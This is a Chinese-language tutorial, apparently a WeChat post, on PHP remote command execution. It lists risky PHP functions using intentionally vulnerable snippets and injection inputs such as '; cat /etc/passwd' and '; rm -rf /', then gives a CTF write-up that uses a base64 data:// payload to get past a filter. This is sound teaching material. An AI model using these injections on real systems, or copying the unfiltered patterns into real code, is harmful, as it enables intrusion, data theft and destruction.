免责声明:本文仅用于合法范围的学习交流,若使用者将本文用于非法目的或违反相关法律法规的行为,一切责任由使用者自行承担。请遵守相关法律法规,勿做违法行为!本公众号尊重知识产权,如有侵权请联系我们删除。
01
漏洞简介
1、远程命令执行漏洞简介
远程命令执行漏洞(Remote Command Execution, RCE)是网络安全中一种高危漏洞,攻击者通过构造恶意输入,诱使目标系统执行任意命令或代码。此类漏洞通常发生在未对用户输入进行严格过滤的应用程序中,常见于 Web 应用、API 接口或网络服务。
2、命令执行函数
(1)PHP代码执行函数:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()
1. eval()
// 基本用法(高危:直接执行字符串代码)$code = 'echo "Hello, World!";';eval($code); // 输出: Hello, World!// 风险示例(用户输入未过滤)eval($_GET['code']); // 输入 ?code=phpinfo(); 可泄露服务器信息
2. assert()
// 基本用法(PHP <7.0 可执行代码)assert('2 > 1'); // 断言成功,无输出// 风险示例(PHP <7.0)assert($_GET['code']); // 输入 ?code=system("whoami") 执行命令
3. preg_replace()(使用 /e 修饰符,PHP 5.5+ 已废弃)
// 风险示例(执行替换中的代码)$text = "Hello {name}!";$result = preg_replace('/{name}/e', 'strtoupper("admin")', $text);echo $result; // 输出: Hello ADMIN!// 漏洞示例(动态执行用户输入)preg_replace('/^(.*)/e', $_GET['code'], 'test'); // 输入 ?code=system("id")
4. create_function()(PHP 7.2+ 已移除)
// 动态创建函数(风险:代码注入)$func = create_function('$a', 'return $a + ' . $_GET['num'] . ';');echo $func(5); // 输入 ?num=10; 输出 15// 恶意输入 ?num=10); system("ls"); // 将执行命令
5. array_map()
// 正常用法$numbers = [1, 2, 3];$squared = array_map(function($n) { return $n * $n; }, $numbers);print_r($squared); // 输出: [1, 4, 9]// 风险示例(用户控制回调)$callback = $_GET['func']; // 输入 ?func=systemarray_map($callback, ['whoami']); // 执行系统命令
6. call_user_func()
// 正常回调call_user_func('strtoupper', 'hello'); // 返回 "HELLO"// 风险示例(动态回调)call_user_func($_GET['func'], $_GET['arg']); // 输入 ?func=system&arg=id
7. call_user_func_array()
// 正常用法call_user_func_array('explode', [',', 'a,b,c']); // 返回数组 ['a', 'b', 'c']// 风险示例call_user_func_array($_GET['func'], [$_GET['arg']]); // 输入 ?func=system&arg=ls
8. array_filter()
// 正常用法(过滤数组)$numbers = [1, 2, 3, 4];$even = array_filter($numbers, function($n) { return $n % 2 == 0; });print_r($even); // 输出: [2, 4]// 风险示例(动态回调)array_filter([1], $_GET['callback']); // 输入 ?callback=system&0=whoami
9. uasort()
// 正常排序$array = ['a' => 3, 'b' => 1];uasort($array, function($a, $b) { return $a - $b; });print_r($array); // 输出: ['b' => 1, 'a' => 3]// 风险示例(动态回调)uasort([1], $_GET['callback']); // 输入 ?callback=system&0=whoami
(2)PHP命令执行函数:
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()
1. system()
// 执行命令并输出结果system('ls -l'); // 列出当前目录文件// 风险示例(命令注入)system('ping ' . $_GET['ip']); // 输入 ?ip=127.0.0.1; cat /etc/passwd
2. exec()
// 执行命令并获取输出exec('ls', $output);print_r($output); // 输出文件列表// 风险示例exec($_GET['cmd'], $output); // 输入 ?cmd=ls; rm -rf /
3. shell_exec()
// 获取命令完整输出$result = shell_exec('whoami');echo $result; // 输出当前用户(如 www-data)// 风险示例$result = shell_exec('nmap ' . $_GET['target']); // 输入 ?target=192.168.1.1; id
4. pcntl_exec()(需启用 pcntl 扩展)
// 执行指定程序(替换当前进程)pcntl_exec('/bin/bash', ['-c', 'echo Hello']); // 输出 Hello 后进程终止// 风险示例pcntl_exec('/bin/sh', ['-c', $_GET['cmd']]); // 输入 ?cmd=rm -rf /
5. popen()
// 打开进程管道$handle = popen('ls -l', 'r');echo fread($handle, 1024); // 读取命令输出pclose($handle);// 风险示例popen('grep ' . $_GET['pattern'] . ' /etc/passwd', 'r'); // 输入 ?pattern='root'
6. proc_open()
// 复杂进程控制$descriptors = [['pipe', 'r'], ['pipe', 'w']];$process = proc_open('php -r "echo 123;"', $descriptors, $pipes);echo stream_get_contents($pipes[1]); // 输出 123proc_close($process);// 风险示例proc_open($_GET['cmd'], $descriptors, $pipes); // 输入 ?cmd=php -r "system('id');"
7. passthru()
// 直接输出二进制结果(如图像)passthru('cat image.jpg');// 风险示例passthru('cat ' . $_GET['file']); // 输入 ?file=/etc/passwd
(3)Python命令执行代码
eval exec subprocess os.system commands
02
靶场练题
1、web入门38题
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
(1)解题思路
为了绕过过滤并包含flag.php
,可以利用PHP的data://
协议将包含指令编码为Base64,从而避免在参数中出现被过滤的关键词。具体步骤如下:
- 构造Payload:创建PHP代码
<?php include('flag.php');?>
,并对其进行Base64编码。 - URL编码:将编码后的字符串作为
data://
协议的参数传递给c
参数。
(2)解题代码
?c=data://text/plain;base64,PD9waHAgaW5jbHVkZSgnZmxhZy5waHAnKTs/Pg==
亲爱的朋友,若你觉得文章不错,请点击关注。你的关注是笔者创作的最大动力,感谢有你!
原文始发于微信公众号(菜根网络安全杂谈):远程命令执行漏洞介绍
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论